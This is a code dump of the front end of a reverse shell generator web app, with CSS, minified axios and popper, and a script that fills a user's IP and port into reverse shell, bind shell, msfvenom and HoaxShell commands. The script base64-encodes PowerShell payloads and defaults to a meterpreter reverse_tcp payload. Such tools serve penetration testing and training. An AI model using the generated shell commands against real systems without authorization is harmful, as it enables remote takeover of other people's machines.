118 | /*box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); original */
119 | box-shadow: 0px 2px 20px 0 rgba(153,28,143,.75);
120 | background-color: rgb(45, 139, 135);
121 | color: #000;
122 | max-height: 20rem;
123 | }
124 |
125 | [data-theme="meme"] .custom-select {
126 | background-color: #f1c6ce;
127 | color: #000;
128 | border-color: #a56096;
129 | }
130 |
131 | [data-theme="meme"] .nav-link {
132 | color: #000;
133 | background: transparent;
134 | box-shadow: 5px 5px 5px 0px rgba(153, 28, 143, 0.75);
135 | }
136 |
137 | [data-theme="meme"] .nav-link:hover {
138 | background-color: #7223b5;
139 | }
140 |
141 | [data-theme="meme"] .nav-link.active {
142 | background-color: #a56096;
143 | color:#000;
144 | }
145 |
146 | [data-theme="meme"] .custom-control-input:checked {
147 | color: #000;
148 | }
149 |
150 | [data-theme="meme"] a {
151 | background-color: #f1c6ce;
152 | color: #000;
153 | }
154 |
155 | [data-theme="meme"] .list-group-item {
156 | background-color: #f1c6ce;
157 | color: #000;
158 | }
159 |
160 | [data-theme="meme"] .list-group-item.active {
161 | background-color: #a56096;
162 | border-color: #000;
163 | }
164 |
165 | [data-theme="meme"] .list-group-item:hover {
166 | background-color: #a56096;
167 | }
168 |
169 | [data-theme="meme"] .list-group-item.hover {
170 | background-color: rgba(153, 28, 143, 0.75);
171 | }
172 |
173 | [data-theme="meme"] .container {
174 | padding: 20px;
175 | border-radius: 20px;
176 | /*box-shadow: 10px 0px 20px 0px rgba(153, 28, 143, 0.75); original */
177 | box-shadow: 3px 0 20px 0 rgba(153,28,143,.75);
178 | height: 100% !important;
179 | background-image: url(../assets/meme_doge.jpg);
180 | margin: 20px auto;
181 | background-position: 45% 24%;
182 | }
183 |
184 | [data-theme="meme"] label.card-title {
185 | color: #fff !important;
186 | }
187 |
188 | [data-theme="meme"] .card-title {
189 | color: black !important;
190 | }
191 |
192 | [data-theme="meme"] .custom-control-label {
193 | color: black;
194 | }
195 |
196 | [data-theme="meme"] h2 {
197 | color: white;
198 | text-align: center;
199 | }
200 |
201 | [data-theme="meme"] .pre-wrap {
202 | white-space: pre-wrap;
203 | }
204 |
205 | [data-theme="meme"] .card-body {
206 | max-height: 40rem;
207 | }
208 |
209 | [data-theme="meme"] .download-svg:hover {
210 | filter: opacity(70%);
211 | }
212 | @font-face {
213 | font-family: "Comic Mono";
214 | src: url(../assets/ComicMono.ttf);
215 | }
216 |
217 | @-webkit-keyframes rainbow {
218 | 0% {
219 | color: orange;
220 | }
221 |
222 | 10% {
223 | color: purple;
224 | }
225 |
226 | 20% {
227 | color: red;
228 | }
229 |
230 | 30% {
231 | color: CadetBlue;
232 | }
233 |
234 | 40% {
235 | color: yellow;
236 | }
237 |
238 | 50% {
239 | color: coral;
240 | }
241 |
242 | 60% {
243 | color: green;
244 | }
245 |
246 | 70% {
247 | color: cyan;
248 | }
249 |
250 | 80% {
251 | color: DeepPink;
252 | }
253 |
254 | 90% {
255 | color: DodgerBlue;
256 | }
257 |
258 | 100% {
259 | color: orange;
260 | }
261 | }
262 |
263 | /* Internet Explorer */
264 | @-ms-keyframes rainbow {
265 | 0% {
266 | color: orange;
267 | }
268 |
269 | 10% {
270 | color: purple;
271 | }
272 |
273 | 20% {
274 | color: red;
275 | }
276 |
277 | 30% {
278 | color: CadetBlue;
279 | }
280 |
281 | 40% {
282 | color: yellow;
283 | }
284 |
285 | 50% {
286 | color: coral;
287 | }
288 |
289 | 60% {
290 | color: green;
291 | }
292 |
293 | 70% {
294 | color: cyan;
295 | }
296 |
297 | 80% {
298 | color: DeepPink;
299 | }
300 |
301 | 90% {
302 | color: DodgerBlue;
303 | }
304 |
305 | 100% {
306 | color: orange;
307 | }
308 | }
309 |
310 | /* Standar Syntax */
311 | @keyframes rainbow {
312 | 0% {
313 | color: orange;
314 | }
315 |
316 | 10% {
317 | color: purple;
318 | }
319 |
320 | 20% {
321 | color: red;
322 | }
323 |
324 | 30% {
325 | color: CadetBlue;
326 | }
327 |
328 | 40% {
329 | color: yellow;
330 | }
331 |
332 | 50% {
333 | color: coral;
334 | }
335 |
336 | 60% {
337 | color: green;
338 | }
339 |
340 | 70% {
341 | color: cyan;
342 | }
343 |
344 | 80% {
345 | color: DeepPink;
346 | }
347 |
348 | 90% {
349 | color: DodgerBlue;
350 | }
351 |
352 | 100% {
353 | color: orange;
354 | }
355 | }
356 |
357 | a[href*="t3l3machus"] {
358 | /* Fixes a minor style bug of the Download Listener button */
359 | background: none;
360 | }
361 |
362 | .middle-card {
363 | min-height: 500px;
364 | max-height: 100%;
365 | overflow-y: auto;
366 | padding: 1.5rem;
367 | }
368 |
--------------------------------------------------------------------------------
/assets/axios.min.js:
--------------------------------------------------------------------------------
1 | /* axios v0.27.2 | (c) 2022 by Matt Zabriskie */
2 | !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.axios=t():e.axios=t()}(this,(function(){return function(e){var t={};function n(r){if(t[r])return t[r].exports;var o=t[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)n.d(r,o,function(t){return e[t]}.bind(null,o));return r},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=13)}([function(e,t,n){"use strict";var r,o=n(4),i=Object.prototype.toString,s=(r=Object.create(null),function(e){var t=i.call(e);return r[t]||(r[t]=t.slice(8,-1).toLowerCase())});function a(e){return e=e.toLowerCase(),function(t){return s(t)===e}}function u(e){return Array.isArray(e)}function c(e){return void 0===e}var f=a("ArrayBuffer");function l(e){return null!==e&&"object"==typeof e}function p(e){if("object"!==s(e))return!1;var t=Object.getPrototypeOf(e);return null===t||t===Object.prototype}var d=a("Date"),h=a("File"),m=a("Blob"),v=a("FileList");function y(e){return"[object Function]"===i.call(e)}var g=a("URLSearchParams");function E(e,t){if(null!=e)if("object"!=typeof e&&(e=[e]),u(e))for(var n=0,r=e.length;n0;)s[i=r[o]]||(t[i]=e[i],s[i]=!0);e=Object.getPrototypeOf(e)}while(e&&(!n||n(e,t))&&e!==Object.prototype);return t},kindOf:s,kindOfTest:a,endsWith:function(e,t,n){e=String(e),(void 0===n||n>e.length)&&(n=e.length),n-=t.length;var r=e.indexOf(t,n);return-1!==r&&r===n},toArray:function(e){if(!e)return null;var t=e.length;if(c(t))return null;for(var n=new Array(t);t-- >0;)n[t]=e[t];return n},isTypedArray:O,isFileList:v}},function(e,t,n){"use strict";var r=n(0);function o(e,t,n,r,o){Error.call(this),this.message=e,this.name="AxiosError",t&&(this.code=t),n&&(this.config=n),r&&(this.request=r),o&&(this.response=o)}r.inherits(o,Error,{toJSON:function(){return{message:this.message,name:this.name,description:this.description,number:this.number,fileName:this.fileName,lineNumber:this.lineNumber,columnNumber:this.columnNumber,stack:this.stack,config:this.config,code:this.code,status:this.response&&this.response.status?this.response.status:null}}});var i=o.prototype,s={};["ERR_BAD_OPTION_VALUE","ERR_BAD_OPTION","ECONNABORTED","ETIMEDOUT","ERR_NETWORK","ERR_FR_TOO_MANY_REDIRECTS","ERR_DEPRECATED","ERR_BAD_RESPONSE","ERR_BAD_REQUEST","ERR_CANCELED"].forEach((function(e){s[e]={value:e}})),Object.defineProperties(o,s),Object.defineProperty(i,"isAxiosError",{value:!0}),o.from=function(e,t,n,s,a,u){var c=Object.create(i);return r.toFlatObject(e,c,(function(e){return e!==Error.prototype})),o.call(c,e.message,t,n,s,a),c.name=e.name,u&&Object.assign(c,u),c},e.exports=o},function(e,t,n){"use strict";var r=n(1);function o(e){r.call(this,null==e?"canceled":e,r.ERR_CANCELED),this.name="CanceledError"}n(0).inherits(o,r,{__CANCEL__:!0}),e.exports=o},function(e,t,n){"use strict";var r=n(0),o=n(19),i=n(1),s=n(6),a=n(7),u={"Content-Type":"application/x-www-form-urlencoded"};function c(e,t){!r.isUndefined(e)&&r.isUndefined(e["Content-Type"])&&(e["Content-Type"]=t)}var f,l={transitional:s,adapter:(("undefined"!=typeof XMLHttpRequest||"undefined"!=typeof process&&"[object process]"===Object.prototype.toString.call(process))&&(f=n(8)),f),transformRequest:[function(e,t){if(o(t,"Accept"),o(t,"Content-Type"),r.isFormData(e)||r.isArrayBuffer(e)||r.isBuffer(e)||r.isStream(e)||r.isFile(e)||r.isBlob(e))return e;if(r.isArrayBufferView(e))return e.buffer;if(r.isURLSearchParams(e))return c(t,"application/x-www-form-urlencoded;charset=utf-8"),e.toString();var n,i=r.isObject(e),s=t&&t["Content-Type"];if((n=r.isFileList(e))||i&&"multipart/form-data"===s){var u=this.env&&this.env.FormData;return a(n?{"files[]":e}:e,u&&new u)}return i||"application/json"===s?(c(t,"application/json"),function(e,t,n){if(r.isString(e))try{return(t||JSON.parse)(e),r.trim(e)}catch(e){if("SyntaxError"!==e.name)throw e}return(n||JSON.stringify)(e)}(e)):e}],transformResponse:[function(e){var t=this.transitional||l.transitional,n=t&&t.silentJSONParsing,o=t&&t.forcedJSONParsing,s=!n&&"json"===this.responseType;if(s||o&&r.isString(e)&&e.length)try{return JSON.parse(e)}catch(e){if(s){if("SyntaxError"===e.name)throw i.from(e,i.ERR_BAD_RESPONSE,this,null,this.response);throw e}}return e}],timeout:0,xsrfCookieName:"XSRF-TOKEN",xsrfHeaderName:"X-XSRF-TOKEN",maxContentLength:-1,maxBodyLength:-1,env:{FormData:n(27)},validateStatus:function(e){return e>=200&&e<300},headers:{common:{Accept:"application/json, text/plain, */*"}}};r.forEach(["delete","get","head"],(function(e){l.headers[e]={}})),r.forEach(["post","put","patch"],(function(e){l.headers[e]=r.merge(u)})),e.exports=l},function(e,t,n){"use strict";e.exports=function(e,t){return function(){for(var n=new Array(arguments.length),r=0;r=0)return;s[t]="set-cookie"===t?(s[t]?s[t]:[]).concat([n]):s[t]?s[t]+", "+n:n}})),s):s}},function(e,t,n){"use strict";var r=n(0);e.exports=r.isStandardBrowserEnv()?function(){var e,t=/(msie|trident)/i.test(navigator.userAgent),n=document.createElement("a");function o(e){var r=e;return t&&(n.setAttribute("href",r),r=n.href),n.setAttribute("href",r),{href:n.href,protocol:n.protocol?n.protocol.replace(/:$/,""):"",host:n.host,search:n.search?n.search.replace(/^\?/,""):"",hash:n.hash?n.hash.replace(/^#/,""):"",hostname:n.hostname,port:n.port,pathname:"/"===n.pathname.charAt(0)?n.pathname:"/"+n.pathname}}return e=o(window.location.href),function(t){var n=r.isString(t)?o(t):t;return n.protocol===e.protocol&&n.host===e.host}}():function(){return!0}},function(e,t,n){"use strict";e.exports=function(e){var t=/^([-+\w]{1,25})(:?\/\/|:)/.exec(e);return t&&t[1]||""}},function(e,t){e.exports=null},function(e,t,n){"use strict";var r=n(12).version,o=n(1),i={};["object","boolean","number","function","string","symbol"].forEach((function(e,t){i[e]=function(n){return typeof n===e||"a"+(t<1?"n ":" ")+e}}));var s={};i.transitional=function(e,t,n){function i(e,t){return"[Axios v"+r+"] Transitional option '"+e+"'"+t+(n?". "+n:"")}return function(n,r,a){if(!1===e)throw new o(i(r," has been removed"+(t?" in "+t:"")),o.ERR_DEPRECATED);return t&&!s[r]&&(s[r]=!0,console.warn(i(r," has been deprecated since v"+t+" and will be removed in the near future"))),!e||e(n,r,a)}},e.exports={assertOptions:function(e,t,n){if("object"!=typeof e)throw new o("options must be an object",o.ERR_BAD_OPTION_VALUE);for(var r=Object.keys(e),i=r.length;i-- >0;){var s=r[i],a=t[s];if(a){var u=e[s],c=void 0===u||a(u,s,e);if(!0!==c)throw new o("option "+s+" must be "+c,o.ERR_BAD_OPTION_VALUE)}else if(!0!==n)throw new o("Unknown option "+s,o.ERR_BAD_OPTION)}},validators:i}},function(e,t,n){"use strict";var r=n(2);function o(e){if("function"!=typeof e)throw new TypeError("executor must be a function.");var t;this.promise=new Promise((function(e){t=e}));var n=this;this.promise.then((function(e){if(n._listeners){var t,r=n._listeners.length;for(t=0;t=o.clientWidth&&n>=o.clientHeight}),l=0a[e]&&!t.escapeWithReference&&(n=Q(f[o],a[e]-('right'===e?f.width:f.height))),ae({},o,n)}};return l.forEach(function(e){var t=-1===['left','top'].indexOf(e)?'secondary':'primary';f=le({},f,m[t](e))}),e.offsets.popper=f,e},priority:['left','right','top','bottom'],padding:5,boundariesElement:'scrollParent'},keepTogether:{order:400,enabled:!0,fn:function(e){var t=e.offsets,o=t.popper,n=t.reference,i=e.placement.split('-')[0],r=Z,p=-1!==['top','bottom'].indexOf(i),s=p?'right':'bottom',d=p?'left':'top',a=p?'width':'height';return o[s]r(n[s])&&(e.offsets.popper[d]=r(n[s])),e}},arrow:{order:500,enabled:!0,fn:function(e,o){var n;if(!K(e.instance.modifiers,'arrow','keepTogether'))return e;var i=o.element;if('string'==typeof i){if(i=e.instance.popper.querySelector(i),!i)return e;}else if(!e.instance.popper.contains(i))return console.warn('WARNING: `arrow.element` must be child of its popper element!'),e;var r=e.placement.split('-')[0],p=e.offsets,s=p.popper,d=p.reference,a=-1!==['left','right'].indexOf(r),l=a?'height':'width',f=a?'Top':'Left',m=f.toLowerCase(),h=a?'left':'top',c=a?'bottom':'right',u=S(i)[l];d[c]-us[c]&&(e.offsets.popper[m]+=d[m]+u-s[c]),e.offsets.popper=g(e.offsets.popper);var b=d[m]+d[l]/2-u/2,w=t(e.instance.popper),y=parseFloat(w['margin'+f]),E=parseFloat(w['border'+f+'Width']),v=b-e.offsets.popper[m]-y-E;return v=ee(Q(s[l]-u,v),0),e.arrowElement=i,e.offsets.arrow=(n={},ae(n,m,$(v)),ae(n,h,''),n),e},element:'[x-arrow]'},flip:{order:600,enabled:!0,fn:function(e,t){if(W(e.instance.modifiers,'inner'))return e;if(e.flipped&&e.placement===e.originalPlacement)return e;var o=v(e.instance.popper,e.instance.reference,t.padding,t.boundariesElement,e.positionFixed),n=e.placement.split('-')[0],i=T(n),r=e.placement.split('-')[1]||'',p=[];switch(t.behavior){case ce.FLIP:p=[n,i];break;case ce.CLOCKWISE:p=G(n);break;case ce.COUNTERCLOCKWISE:p=G(n,!0);break;default:p=t.behavior;}return p.forEach(function(s,d){if(n!==s||p.length===d+1)return e;n=e.placement.split('-')[0],i=T(n);var a=e.offsets.popper,l=e.offsets.reference,f=Z,m='left'===n&&f(a.right)>f(l.left)||'right'===n&&f(a.left)f(l.top)||'bottom'===n&&f(a.top)f(o.right),g=f(a.top)f(o.bottom),b='left'===n&&h||'right'===n&&c||'top'===n&&g||'bottom'===n&&u,w=-1!==['top','bottom'].indexOf(n),y=!!t.flipVariations&&(w&&'start'===r&&h||w&&'end'===r&&c||!w&&'start'===r&&g||!w&&'end'===r&&u),E=!!t.flipVariationsByContent&&(w&&'start'===r&&c||w&&'end'===r&&h||!w&&'start'===r&&u||!w&&'end'===r&&g),v=y||E;(m||b||v)&&(e.flipped=!0,(m||b)&&(n=p[d+1]),v&&(r=z(r)),e.placement=n+(r?'-'+r:''),e.offsets.popper=le({},e.offsets.popper,C(e.instance.popper,e.offsets.reference,e.placement)),e=P(e.instance.modifiers,e,'flip'))}),e},behavior:'flip',padding:5,boundariesElement:'viewport',flipVariations:!1,flipVariationsByContent:!1},inner:{order:700,enabled:!1,fn:function(e){var t=e.placement,o=t.split('-')[0],n=e.offsets,i=n.popper,r=n.reference,p=-1!==['left','right'].indexOf(o),s=-1===['top','left'].indexOf(o);return i[p?'left':'top']=r[o]-(s?i[p?'width':'height']:0),e.placement=T(t),e.offsets.popper=g(i),e}},hide:{order:800,enabled:!0,fn:function(e){if(!K(e.instance.modifiers,'hide','preventOverflow'))return e;var t=e.offsets.reference,o=D(e.instance.modifiers,function(e){return'preventOverflow'===e.name}).boundaries;if(t.bottomo.right||t.top>o.bottom||t.rightwindow.devicePixelRatio||!fe),c='bottom'===o?'top':'bottom',g='right'===n?'left':'right',b=B('transform');if(d='bottom'==c?'HTML'===l.nodeName?-l.clientHeight+h.bottom:-f.height+h.bottom:h.top,s='right'==g?'HTML'===l.nodeName?-l.clientWidth+h.right:-f.width+h.right:h.left,a&&b)m[b]='translate3d('+s+'px, '+d+'px, 0)',m[c]=0,m[g]=0,m.willChange='transform';else{var w='bottom'==c?-1:1,y='right'==g?-1:1;m[c]=d*w,m[g]=s*y,m.willChange=c+', '+g}var E={"x-placement":e.placement};return e.attributes=le({},E,e.attributes),e.styles=le({},m,e.styles),e.arrowStyles=le({},e.offsets.arrow,e.arrowStyles),e},gpuAcceleration:!0,x:'bottom',y:'right'},applyStyle:{order:900,enabled:!0,fn:function(e){return V(e.instance.popper,e.styles),j(e.instance.popper,e.attributes),e.arrowElement&&Object.keys(e.arrowStyles).length&&V(e.arrowElement,e.arrowStyles),e},onLoad:function(e,t,o,n,i){var r=L(i,t,e,o.positionFixed),p=O(o.placement,r,t,e,o.modifiers.flip.boundariesElement,o.modifiers.flip.padding);return t.setAttribute('x-placement',p),V(t,{position:o.positionFixed?'fixed':'absolute'}),o},gpuAcceleration:void 0}}},ge});
5 | //# sourceMappingURL=popper.min.js.map
6 |
--------------------------------------------------------------------------------
/js/script.js:
--------------------------------------------------------------------------------
1 |
2 | // Element selectors
3 | const ipInput = document.querySelector("#ip");
4 | const portInput = document.querySelector("#port");
5 | const listenerSelect = document.querySelector("#listener-selection");
6 | const shellSelect = document.querySelector("#shell");
7 | // const autoCopySwitch = document.querySelector("#auto-copy-switch");
8 | const operatingSystemSelect = document.querySelector("#os-options");
9 | const encodingSelect = document.querySelector('#encoding');
10 | const searchBox = document.querySelector('#searchBox');
11 | const listenerCommand = document.querySelector("#listener-command");
12 | const reverseShellCommand = document.querySelector("#reverse-shell-command");
13 | const bindShellCommand = document.querySelector("#bind-shell-command");
14 | const msfVenomCommand = document.querySelector("#msfvenom-command");
15 | const hoaxShellCommand = document.querySelector("#hoaxshell-command");
16 |
17 | const FilterOperatingSystemType = {
18 | 'All': 'all',
19 | 'Windows': 'windows',
20 | 'Linux': 'linux',
21 | 'Mac': 'mac'
22 | };
23 |
24 | const hoaxshell_listener_types = {
25 | "Windows CMD cURL" : "cmd-curl",
26 | "PowerShell IEX" : "ps-iex",
27 | "PowerShell IEX Constr Lang Mode" : "ps-iex-cm",
28 | "PowerShell Outfile" : "ps-outfile",
29 | "PowerShell Outfile Constr Lang Mode" : "ps-outfile-cm",
30 | "Windows CMD cURL https" : "cmd-curl -c /your/cert.pem -k /your/key.pem",
31 | "PowerShell IEX https" : "ps-iex -c /your/cert.pem -k /your/key.pem",
32 | "PowerShell IEX Constr Lang Mode https" : "ps-iex-cm -c /your/cert.pem -k /your/key.pem",
33 | "PowerShell Outfile https" : "ps-outfile -c /your/cert.pem -k /your/key.pem",
34 | "PowerShell Outfile Constr Lang Mode https" : "ps-outfile-cm -c /your/cert.pem -k /your/key.pem"
35 | };
36 |
37 | operatingSystemSelect.addEventListener("change", (event) => {
38 | const selectedOS = event.target.value;
39 | rsg.setState({
40 | filterOperatingSystem: selectedOS,
41 | });
42 | });
43 |
44 | document.querySelector("#reverse-tab").addEventListener("click", () => {
45 | rsg.setState({
46 | commandType: CommandType.ReverseShell,
47 | });
48 | })
49 |
50 | document.querySelector("#bind-tab").addEventListener("click", () => {
51 | rsg.setState({
52 | commandType: CommandType.BindShell,
53 | encoding: "None"
54 | });
55 | })
56 |
57 | document.querySelector("#bind-tab").addEventListener("click", () => {
58 | document.querySelector("#bind-shell-selection").innerHTML = "";
59 | rsg.setState({
60 | commandType: CommandType.BindShell
61 |
62 | });
63 | })
64 |
65 | document.querySelector("#msfvenom-tab").addEventListener("click", () => {
66 | document.querySelector("#msfvenom-selection").innerHTML = "";
67 | rsg.setState({
68 | commandType: CommandType.MSFVenom,
69 | encoding: "None"
70 | });
71 | });
72 |
73 |
74 | document.querySelector("#hoaxshell-tab").addEventListener("click", () => {
75 | document.querySelector("#hoaxshell-selection").innerHTML = "";
76 | rsg.setState({
77 | commandType: CommandType.HoaxShell,
78 | encoding: "None"
79 | });
80 | });
81 |
82 | var rawLinkButtons = document.querySelectorAll('.raw-listener');
83 | for (const button of rawLinkButtons) {
84 | button.addEventListener("click", () => {
85 | const rawLink = RawLink.generate(rsg);
86 | window.location = rawLink;
87 | });
88 | }
89 |
90 | const filterCommandData = function (data, { commandType, filterOperatingSystem = FilterOperatingSystemType.All, filterText = '' }) {
91 | return data.filter(item => {
92 |
93 | if (!item.meta.includes(commandType)) {
94 | return false;
95 | }
96 |
97 | var hasOperatingSystemMatch = (filterOperatingSystem === FilterOperatingSystemType.All) || item.meta.includes(filterOperatingSystem);
98 | var hasTextMatch = item.name.toLowerCase().indexOf(filterText.toLowerCase()) >= 0;
99 | return hasOperatingSystemMatch && hasTextMatch;
100 | });
101 | }
102 |
103 | const query = new URLSearchParams(location.hash.substring(1));
104 |
105 | // From https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent
106 | const fixedEncodeURIComponent = function (str) {
107 | return encodeURIComponent(str).replace(/[!'()*]/g, function(c) {
108 | return '%' + c.charCodeAt(0).toString(16).toUpperCase();
109 | });
110 | }
111 |
112 | const rsg = {
113 | ip: (query.get('ip') || localStorage.getItem('ip') || '10.10.10.10').replace(/[^a-zA-Z0-9.\-]/g, ''),
114 | port: query.get('port') || localStorage.getItem('port') || 9001,
115 | payload: query.get('payload') || localStorage.getItem('payload') || 'windows/x64/meterpreter/reverse_tcp',
116 | payload: query.get('type') || localStorage.getItem('type') || 'cmd-curl',
117 | shell: query.get('shell') || localStorage.getItem('shell') || rsgData.shells[0],
118 | listener: query.get('listener') || localStorage.getItem('listener') || rsgData.listenerCommands[0][1],
119 | encoding: query.get('encoding') || localStorage.getItem('encoding') || 'None',
120 | selectedValues: {
121 | [CommandType.ReverseShell]: filterCommandData(rsgData.reverseShellCommands, { commandType: CommandType.ReverseShell })[0].name,
122 | [CommandType.BindShell]: filterCommandData(rsgData.reverseShellCommands, { commandType: CommandType.BindShell })[0].name,
123 | [CommandType.MSFVenom]: filterCommandData(rsgData.reverseShellCommands, { commandType: CommandType.MSFVenom })[0].name,
124 | [CommandType.HoaxShell]: filterCommandData(rsgData.reverseShellCommands, { commandType: CommandType.HoaxShell })[0].name,
125 | },
126 | commandType: CommandType.ReverseShell,
127 | filterOperatingSystem: query.get('filterOperatingSystem') || localStorage.getItem('filterOperatingSystem') || FilterOperatingSystemType.All,
128 | filterText: query.get('filterText') || localStorage.getItem('filterText') || '',
129 |
130 | uiElements: {
131 | [CommandType.ReverseShell]: {
132 | listSelection: '#reverse-shell-selection',
133 | command: '#reverse-shell-command'
134 | },
135 | [CommandType.BindShell]: {
136 | listSelection: '#bind-shell-selection',
137 | command: '#bind-shell-command',
138 | },
139 | [CommandType.MSFVenom]: {
140 | listSelection: '#msfvenom-selection',
141 | command: '#msfvenom-command'
142 | },
143 | [CommandType.HoaxShell]: {
144 | listSelection: '#hoaxshell-selection',
145 | command: '#hoaxshell-command'
146 | }
147 | },
148 |
149 | copyToClipboard: (text) => {
150 | if (navigator ?.clipboard ?.writeText) {
151 | navigator.clipboard.writeText(text)
152 | $('#clipboard-toast').toast('show')
153 | } else if (window ?.clipboardData ?.setData) {
154 | window.clipboardData.setData('Text', text);
155 | $('#clipboard-toast').toast('show')
156 | } else {
157 | $('#clipboard-failure-toast').toast('show')
158 | }
159 | },
160 |
161 | escapeHTML: (text) => {
162 | let element = document.createElement('p');
163 | element.textContent = text;
164 | return element.innerHTML;
165 | },
166 |
167 | getIP: () => rsg.ip,
168 |
169 | getPort: () => Number(rsg.port),
170 |
171 | getShell: () => rsg.shell,
172 |
173 | getEncoding: () => rsg.encoding,
174 |
175 | getSelectedCommandName: () => {
176 | return rsg.selectedValues[rsg.commandType];
177 | },
178 |
179 | getReverseShellCommand: () => {
180 | const reverseShellData = rsgData.reverseShellCommands.find((item) => item.name === rsg.getSelectedCommandName());
181 | return reverseShellData.command;
182 | },
183 |
184 | getPayload: () => {
185 | if (rsg.commandType === 'MSFVenom') {
186 | let cmd = rsg.getReverseShellCommand();
187 | // msfvenom -p windows/x64/meterpreter_reverse_tcp ...
188 | let regex = /\s+-p\s+(?[a-zA-Z0-9/_]+)/;
189 | let match = regex.exec(cmd);
190 | if (match) {
191 | return match.groups.payload;
192 | }
193 | }
194 |
195 | return 'windows/x64/meterpreter/reverse_tcp'
196 |
197 | },
198 |
199 | getType: () => {
200 | if (rsg.commandType === 'HoaxShell') {
201 | let cmd_name = rsg.getSelectedCommandName();
202 | return hoaxshell_listener_types[cmd_name];
203 | }
204 |
205 | return 'cmd-curl'
206 |
207 | },
208 |
209 | generateReverseShellCommand: () => {
210 | let command
211 |
212 | if (rsg.getSelectedCommandName() === 'PowerShell #3 (Base64)') {
213 | const encoder = (text) => text;
214 | const payload = rsg.insertParameters(rsgData.specialCommands['PowerShell payload'], encoder)
215 | command = "powershell -e " + btoa(toBinary(payload))
216 | function toBinary(string) {
217 | const codeUnits = new Uint16Array(string.length);
218 | for (let i = 0; i < codeUnits.length; i++) {
219 | codeUnits[i] = string.charCodeAt(i);
220 | }
221 | const charCodes = new Uint8Array(codeUnits.buffer);
222 | let result = '';
223 | for (let i = 0; i < charCodes.byteLength; i++) {
224 | result += String.fromCharCode(charCodes[i]);
225 | }
226 | return result;
227 | }
228 | } else {
229 | command = rsg.getReverseShellCommand()
230 | }
231 |
232 | const encoding = rsg.getEncoding();
233 | if (encoding === 'Base64') {
234 | command = rsg.insertParameters(command, (text) => text)
235 | command = btoa(command)
236 | } else {
237 | function encoder(string) {
238 | let result = string;
239 | switch (encoding) {
240 | case 'encodeURLDouble':
241 | result = fixedEncodeURIComponent(result);
242 | // fall-through
243 | case 'encodeURL':
244 | result = fixedEncodeURIComponent(result);
245 | break;
246 | }
247 | return result;
248 | }
249 | command = rsg.escapeHTML(encoder(command));
250 | // NOTE: Assumes encoder doesn't produce HTML-escaped characters in parameters
251 | command = rsg.insertParameters(rsg.highlightParameters(command, encoder), encoder);
252 | }
253 |
254 | return command;
255 | },
256 |
257 | highlightParameters: (text, encoder) => {
258 | const parameters = ['{ip}', '{port}', '{shell}', encodeURI('{ip}'), encodeURI('{port}'),
259 | encodeURI('{shell}')
260 | ];
261 |
262 | parameters.forEach((param) => {
263 | if (encoder) param = encoder(param)
264 | text = text.replace(param, `${param}`)
265 | })
266 | return text
267 | },
268 |
269 | init: () => {
270 | rsg.initListenerSelection()
271 | rsg.initShells()
272 | },
273 |
274 | initListenerSelection: () => {
275 | rsgData.listenerCommands.forEach((listenerData, i) => {
276 | const type = listenerData[0];
277 | const command = listenerData[1];
278 |
279 | const option = document.createElement("option");
280 |
281 | option.value = command;
282 | option.selected = rsg.listener === option.value;
283 | option.classList.add("listener-option");
284 | option.innerText = type;
285 |
286 | listenerSelect.appendChild(option);
287 | })
288 | },
289 |
290 | initShells: () => {
291 | rsgData.shells.forEach((shell, i) => {
292 | const option = document.createElement("option");
293 |
294 | option.selected = rsg.shell === shell;
295 | option.classList.add("shell-option");
296 | option.innerText = shell;
297 |
298 | shellSelect.appendChild(option);
299 | })
300 | },
301 |
302 | // Updates the rsg state, and forces a re-render
303 | setState: (newState = {}) => {
304 | Object.keys(newState).forEach((key) => {
305 | const value = newState[key];
306 | rsg[key] = value;
307 | localStorage.setItem(key, value)
308 | });
309 | Object.assign(rsg, newState);
310 |
311 | rsg.update();
312 | },
313 |
314 | insertParameters: (command, encoder) => {
315 | return command
316 | .replaceAll(encoder('{ip}'), encoder(rsg.getIP()))
317 | .replaceAll(encoder('{port}'), encoder(String(rsg.getPort())))
318 | .replaceAll(encoder('{shell}'), encoder(rsg.getShell()))
319 | },
320 |
321 | update: () => {
322 | rsg.updateListenerCommand()
323 | rsg.updateTabList()
324 | rsg.updateReverseShellCommand()
325 | rsg.updateValues()
326 | },
327 |
328 | updateValues: () => {
329 | const listenerOptions = listenerSelect.querySelectorAll(".listener-option");
330 | listenerOptions.forEach((option) => {
331 | option.selected = rsg.listener === option.value;
332 | });
333 |
334 | const shellOptions = shellSelect.querySelectorAll(".shell-option");
335 | shellOptions.forEach((option) => {
336 | option.selected = rsg.shell === option.value;
337 | });
338 |
339 | const encodingOptions = encodingSelect.querySelectorAll("option");
340 | encodingOptions.forEach((option) => {
341 | option.selected = rsg.encoding === option.value;
342 | });
343 |
344 | ipInput.value = rsg.ip;
345 | portInput.value = rsg.port;
346 | operatingSystemSelect.value = rsg.filterOperatingSystem;
347 | searchBox.value = rsg.filterText;
348 | },
349 |
350 | updateTabList: () => {
351 | const data = rsgData.reverseShellCommands;
352 | const filteredItems = filterCommandData(
353 | data,
354 | {
355 | filterOperatingSystem: rsg.filterOperatingSystem,
356 | filterText: rsg.filterText,
357 | commandType: rsg.commandType
358 | }
359 | );
360 |
361 | const documentFragment = document.createDocumentFragment();
362 | if (filteredItems.length === 0) {
363 | const emptyMessage = document.createElement("button");
364 | emptyMessage.innerText = "No results found";
365 | emptyMessage.classList.add("list-group-item", "list-group-item-action", "disabled");
366 |
367 | documentFragment.appendChild(emptyMessage);
368 | }
369 | filteredItems.forEach((item, index) => {
370 | const {
371 | name,
372 | command
373 | } = item;
374 |
